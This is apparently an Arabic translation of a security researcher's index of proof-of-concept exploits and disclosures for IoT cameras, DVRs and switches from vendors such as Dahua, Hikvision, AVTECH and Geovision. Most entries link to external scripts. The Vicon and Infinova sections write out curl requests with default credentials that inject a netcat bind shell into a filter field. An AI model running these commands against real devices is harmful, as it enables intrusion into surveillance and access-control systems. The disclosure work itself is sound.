PoC

PoC متنوعة - إنترنت الأشياء (غير) الآمنة

يجدر بك حقًا القراءة عن هذه الأشياء (غير) الآمنة السيئة: https://ipvm.com/reports/security-exploits

Hikvision CVE-2021-36260

2021-10-19

كل الفضل يعود إلى Watchful_IP (https://watchfulip.github.io/)

https://github.com/mcw0/PoC/blob/master/CVE-2021-36260.py

Dahua CVE-2021-33044, CVE-2021-33045

2021-10-06

التفاصيل: https://github.com/mcw0/PoC/blob/master/Dahua%20authentication%20bypass.txt

PoC: https://github.com/mcw0/DahuaConsole

2021-09-06

ثغرتا تجاوز مصادقة مستقلتان.

نظرًا للاحتمال الكبير جدًا لحدوث "اختراق جماعي آخر لأجهزة Dahua"، سأُبقي تفاصيل الإفصاح الكامل (Full Disclosure) حتى 6 أكتوبر 2021.

أنصح بشدة بترقية البرنامج الثابت (Firmware) حتى ذلك الحين.

https://www.dahuasecurity.com/support/cybersecurity/details/957

تشفير/فك تشفير Dahua DES/3DES، تسريب بيانات اعتماد NetSDK، مفاتيح/كلمات مرور السحابة، PoC لـ DHP2P

2020-05-09

• تنفيذ مصادقة Dahua DES/3DES (المكسور) ومفتاح PSK
• الثغرة: تسريب Dahua NetSDK لبيانات الاعتماد (أول 8 أحرف) من جميع العملاء في طلب REALM عند استخدام بروتوكولي DVRIP وDHP2P
• PoC: إضافة مستمع بسيط لبروتوكول DVRIP عبر TCP/37777 لعرض بيانات الاعتماد المفكوكة كنص واضح
• الثغرة: تسريب بيانات الاعتماد في بروتوكول سحابة DHP2P من Dahua
• الثغرة: مفاتيح/كلمات مرور سحابة DHP2P مدمجة (Hardcoded) لـ 23 مزودًا مختلفًا
• PoC: الوصول إلى الأجهزة داخل سحابة DHP2P. صُنع الـ PoC لـ Dahua IMOU فقط

https://github.com/mcw0/PoC/blob/master/Dahua-3DES-IMOU-PoC.py

تحديث: Dahua-JSON-Debug-Console-v2.py

2020-02-29

• إضافة خيار 'setDebug'، يجب أن يبدأ في إنتاج المخرجات من وحدة التصحيح (Debug Console) في VTO/VTH
• إضافة '--discover'، البحث متعدد الإرسال (Multicast) عن الأجهزة أو الفحص المباشر (--rhost 192.168.57.20) للجهاز عبر UDP/37810
• إضافة '--dump {config,service}' لتفريغ الإعدادات أو الخدمات على المضيف البعيد دون الدخول إلى وحدة التصحيح (Debug Console)

https://github.com/mcw0/Tools/blob/master/Dahua-JSON-Debug-Console-v2.py

تحديث

2020-02-15

تم هذا الأسبوع التواصل مع فريق Dahua PSIRT، وتم تقديم التفاصيل وPoC والأدلة لـ 23 مزود سحابة مختلفًا. سأتبع أيضًا النسخة الجديدة من Google Zero 'السياسة والإفصاح: إصدار 2020' (لأنها منطقية بالنسبة لي)، مما يعني أنني سأنشر بعد 90 يومًا، بغض النظر عما إذا كانت Dahua ستصدر تحديثات قبل أو بعد 09.05.2020 19:00 UTC (9 مايو 2020، الساعة 19:00 UTC).

يا Dahua، من فضلكم أصلحوا الأمور وأتاحوا التحديثات قبل هذا التاريخ...

المرجع: Google Zero 'السياسة والإفصاح: إصدار 2020': https://googleprojectzero.blogspot.com/2020/01/policy-and-disclosure-2020-edition.html

قبل بضع ساعات

2020-02-10

لقد أفصحت للتو عن تسريبات بيانات الاعتماد (التي تظهر كنص واضح) من Dahua SDK إلى فريق Dahua PSIRT، لنرَ كيف سيتعاملون مع هذه المعلومة. الأمر سيئ جدًا عندما يكون هناك أكثر من 20 مزود سحابة مختلفًا معنيًا بالأمر... 90 يومًا تبدأ بالعد من اليوم.

أدوات

2020-01-20

تم إنشاء مستودع جديد حيث أخطط لرفع بعض الأدوات.

https://github.com/mcw0/Tools

الأول في القائمة: Dahua-JSON-Debug-Console-v2.py

• تم نقله إلى بايثون 3
• إصلاح بعض الأخطاء وتعديل الكود
• إضافة دعم لـ DVRIP (TCP/37777) [ملاحظة: بعض أوامر JSON التي تعمل مع DHIP لا تُرجع شيئًا مع DVRIP]
• الترميز/فك الترميز بـ latin-1، قد نحتاج إلى أحرف غير معدّلة بين 0x00 - 0xff
• تحسين 'debug' مع خيار hexdump

Axis Communications

2019-10-06 (أشياء قديمة)

كشف الطراز وإصدار البرنامج الثابت (Firmware) لأجهزة Axis بشكل مجهول (1998 - 2019).

https://github.com/mcw0/PoC/blob/master/axis-detect.py

PoC لوحدة تحكم محوّلات Realtek المُدارة (RTL83xx)

2019-08-20

https://github.com/mcw0/PoC/blob/master/Realtek-RTL83xx-PoC.py

عدة ثغرات في محوّلات شبكات متعددة

2019-08-06

https://www.vdoo.com/blog/disclosing-significant-vulnerabilities-network-switches

سيتم نشر جميع التفاصيل التقنية مع PoC بلغة بايثون هنا في 20 أغسطس 2019.

LifeSafety Power

2019-05-15

تجاوزات متعددة لسعة المكدس (Stack Overflow)، RCE، الكشف عن اسم المستخدم/كلمة المرور كنص واضح والمزيد

https://github.com/mcw0/PoC/blob/master/LifeSafetyPower-Netlink-PoC.py

وحدة تحكم التصحيح JSON لـ Dahua DHIP (مصادَق عليها)

2019-04-10

سيستخدم هذا السكربت بروتوكول Dahua الثنائي 'DHIP' P2P، الذي يعمل على منافذ HTTP/HTTPS العادية وTCP/5000

سيتصل بوحدة 'Debug Console' الداخلية لأجهزة Dahua باستخدام JSON (من نفس نوع التصحيح السابق على TCP/6789)

https://github.com/mcw0/PoC/blob/master/Dahua-DHIP-JSON-Debug-Console.py

استمتعوا، bashis

VDOO

2019-01-23

تحياتي، مرّ وقت طويل دون نشر...

ما زلت حاضرًا وأُجري أبحاثي، لكن الجديد هو أنني أحاول أيضًا العمل مع VDOO (https://www.vdoo.com/) لإدارة التواصل مع البائعين، وهذا للأسف أخّر عملية الإفصاح الكامل (Full Disclosure) لديّ نوعًا ما...

على أي حال، ستصدر قريبًا عدة أبحاث مثيرة للاهتمام كإفصاح كامل (Full Disclosure) هنا على GitHub الخاص بي.

بفضل التعاون مع VDOO يمكنني العمل فيما أحب، وعدم إضاعة الوقت مع البائعين الذين (لا يريدون | لا يفهمون | يريدون التجاهل | يريدون التأخير | أيًا كان).

أحدثها بعض الأمور المتعلقة بـ Reolink (https://reolink.com/)، وستجدونها هنا: https://www.vdoo.com/blog/working-with-the-community-%E2%80%93-significant-vulnerabilities-in-reolink-cameras/.

AVTECH Corporation

2018-06-18

AVTECH {DVR/NVR/IPC} تجاوز سعة الكومة (Heap Overflow)، واجهة برمجة تطبيقات IPCP، RCE

https://github.com/mcw0/PoC/blob/master/Avtech_Undocumented_API_and_RCE.txt

https://github.com/mcw0/PoC/blob/master/AVTECH-IPCP-RCE.py

Reolink Digital Technology Co., Ltd.

2018-06-03

Reolink {IPC} RCE (مصادَق عليها)

https://github.com/mcw0/PoC/blob/master/Reolink-IPC-RCE.py

Shenzhen TVT Digital Technology Co. Ltd

2018-04-09

Shenzhen TVT Digital Technology Co. Ltd وOEM {DVR/NVR/IPC} API RCE https://github.com/mcw0/PoC/blob/master/TVT_and_OEM_IPC_NVR_DVR_RCE_Backdoor_and_Information_Disclosure.txt https://github.com/mcw0/PoC/blob/master/TVT-PoC.py

AVTECH

2018-03-05

AVTECH {DVR/NVR/IPC} RCE مصادَق عليها

https://github.com/mcw0/PoC/blob/master/AVTECH-RCE.py

Geovision Inc.

2018-02-01

Geovision Inc. كاميرات IP/فيديو/التحكم بالوصول: تنفيذ متعدد للأوامر عن بُعد - تجاوزات متعددة لسعة المكدس (Stack Overflow) - تحرير مزدوج (Double free) - وصول غير مصرح به https://github.com/mcw0/PoC/blob/master/Geovision%20IP%20Camera%20Multiple%20Remote%20Command%20Execution%20-%20Multiple%20Stack%20Overflow%20-%20Double%20free%20-%20Unauthorized%20Access.txt

Geovision Inc. كاميرا IP وخادم الفيديو: PoC لتنفيذ الأوامر عن بُعد https://github.com/mcw0/PoC/blob/master/Geovision-PoC.py

Herospeed

2018-01-22

خادم Herospeed TelnetSwitch الذي يعمل على TCP/787، للسماح بتمكين telnetd. حيث تتيح لنا تجاوز سعة مكدس صغير (stack overflow) الكتابة فوق كلمة المرور المُولَّدة ديناميكيًا وتمكين telnetd. https://github.com/mcw0/PoC/blob/master/Herospeed-TelnetSwitch.py

Foscam

2018-01-15

غلاف OpenSSL صغير للتكرار على مفاتيح/تلخيصات (digest) وأصفار (cipher) تشفير مختلفة على صور البرنامج الثابت (Firmware) لأجهزة Foscam IPC. https://github.com/mcw0/PoC/blob/master/decrypt-foscam.py

إزالة التعتيم عن السلاسل/تسجيل الدخول/كلمة المرور/مفتاح التشفير في ملفات Foscam IPC الثنائية والمكتبات المتنوعة https://github.com/mcw0/PoC/blob/master/deobfuscate-foscam.py

Vitek: RCE وكشف المعلومات (وربما OEM أخرى) - ثغرة يوم الصفر (0-day)

2017-12-22

https://github.com/mcw0/PoC/blob/master/Vitek_RCE_and_information_disclosure.txt

ثغرة سلسلة تنسيق المكدس عن بُعد (Remote Stack Format String) في ملف 'nsd' الثنائي من عدة OEM (يوم الصفر)

2017-12-14

https://github.com/mcw0/PoC/blob/master/Remote_Stack_Format_String_multiple%20OEM.txt

الصورة هنا: http://62.43.36.107:50021/Public/CCTV/GWSecu/GWSecu%20Updater%20para%20c%C3%A1maras/Firmware%20para%20c%C3%A1mara%20domo/

إثبات مفهوم لباب خلفي بسلسلة تنسيق (Format String) لا يتسبب في تعطل النظام

2017-12-05

https://github.com/mcw0/PoC/blob/master/tiny-w3-mcw.c

Vicon Security RCE (مصادَق عليها)

2017-12-03

// Enable 'IP Filter'

curl --user ADMIN:1234 -v -X POST http://[IP:PORT]/form/formChangeFirewallState -d "state=2"

// Add to 'IP Filter' and execute

curl --user ADMIN:1234 -v -X POST http://[IP:PORT]/form/AddIPFilter -d "list=2&type=1&filterIp=$(nc -lp 1337 -e/bin/sh)"

// Disable 'IP Filter'

curl --user ADMIN:1234 -v -X POST http://[IP:PORT]/form/formChangeFirewallState -d "state=0"

// Remove from 'IP Filter'

curl --user ADMIN:1234 -v -X POST http://[IP:PORT]/form/DeleteIPFilter -d "list=2&type=1&filterIp=$(nc -lp 1337 -e/bin/sh)"

Infinova RCE (مصادَق عليها)

2017-12-03

// Enable 'IP Filter'

curl --user admin:admin -v -X POST http://[IP:PORT]/form/formChangeFirewallState -d "state=2"

// Add to 'IP Filter' and execute

curl --user admin:admin -v -X POST http://[IP:PORT]/form/AddIPFilter -d "list=2&type=1&filterIp=$(nc -lp 1337 -e/bin/sh)"

// Disable 'IP Filter'

curl --user admin:admin -v -X POST http://[IP:PORT]/form/formChangeFirewallState -d "state=0"

// Remove from 'IP Filter'

curl --user admin:admin -v -X POST http://[IP:PORT]/form/DeleteIPFilter -d "list=2&type=1&filterIp=$(nc -lp 1337 -e/bin/sh)"

ملاحظة: متأكد تمامًا من وجود OEM أخرى تشترك في الأمر نفسه.

Axis Communications

2017-12-01 Axis Communications MPQT/PACS: تجاوز سعة الكومة (Heap Overflow) وتسريب المعلومات https://github.com/mcw0/PoC/blob/master/Axis_Communications_MPQT_PACS_Heap_Overflow_and_information_leakage.txt

Stunnel

2017-11-13 صدفة (shell) خصوصية عكسية لـ stunnel TLSv1 https://github.com/mcw0/PoC/blob/master/Reverse%20stunnel%20TLSv1%20privacy%20shell.txt

Vivotek

2017-11-13 كاميرات Vivotek IP - تجاوز سعة المكدس عن بُعد (Remote Stack Overflow) https://github.com/mcw0/PoC/blob/master/Vivotek%20IP%20Cameras%20-%20Remote%20Stack%20Overflow.txt

Uniview

2017-10-29 Uniview: RCE وتصدير الإعدادات PoC https://github.com/mcw0/PoC/blob/master/Uniview%20RCE%20PoC.txt

Axis

2017-10-19 اختبار تشويش (Fuzzing) قديم منسي يعود إلى الربع الثالث من 2016 أدى إلى RCE (PoC: صدفة اتصال عكسي عن بُعد) وقراءة /etc/shadow عن بُعد. تم الإبلاغ عنه إلى Axis وإصلاحه في الربع الثالث من 2016، وما زلت أنشره هنا الآن لأنه قد يكون مؤشرًا جيدًا. https://github.com/mcw0/PoC/blob/master/Axis%20SSI%20RCE

DAHUA

2017-10-17 تمكين / تعطيل Telnetd في Dahua (لإصدارات البرنامج الثابت الأحدث) https://github.com/mcw0/PoC/blob/master/dahua-telnetd-json.py

2017-05-03

إعادة نشر عامة لباب Dahua الخلفي (Backdoor) PoC https://github.com/mcw0/PoC/blob/master/dahua-backdoor-PoC.py

2017-03-20

بفضل معرفتي الجديدة بالأجهزة القابلة للاستغلال المنتشرة هناك، والتي يبلغ عددها المذهل أكثر من مليون وحدة Dahua / OEM، حيث تأتي هذه المعرفة من تقرير أعده NSFOCUS ومن بحثي الخاص على shodan.io.

بفضل هذه المعرفة، لن أنشر PoC بلغة بايثون للعامة كما قلت سابقًا عن 5 أبريل، إذ لا داعي لذلك طالما أن الـ PoC قد تم التحقق منه بالفعل من قبل IPVM وباحثين أمنيين مستقلين آخرين.

ومع ذلك، أنا منفتح لمشاركة الـ PoC مع الباحثين الأمنيين الجادين إذا رغبتم في ذلك، فيرجى مراسلتي عبر البريد الإلكتروني خارج القائمة وأن تكونوا واضحين بشأن هويتكم حتى لا أظن بكم المتسولين، فهؤلاء أتجاهلهم.

تقرير NSFOCUS: http://blog.nsfocus.net/dahua-cameras-unauthorized-access-vulnerability-technical-analysis-solution/

/bashis

---

هل لاحظتم الطوابع الزمنية للتاريخ والوقت على تصحيحات Dahua؟ تحققوا من لقطات الشاشة من http://us.dahuasecurity.com/en/us/Security-Bulletin_030617.php https://github.com/mcw0/PoC/blob/master/Dahua%20Wiki%20Firmware%20Timestamp.png

https://dahuawiki.com/images/Firmware/DVR/Q2.2017/ https://github.com/mcw0/PoC/blob/master/Dahua%20Wiki%20Firmware%20listing.png

ليست أجهزة NVR/DVR/IPC/HDCVI هي فقط في القائمة

نظام الاتصال الداخلي (Intercom) أيضًا، حيث تم تأكيد VTO2000A http://www1.dahuasecurity.com/au/products/vto2000a-762.html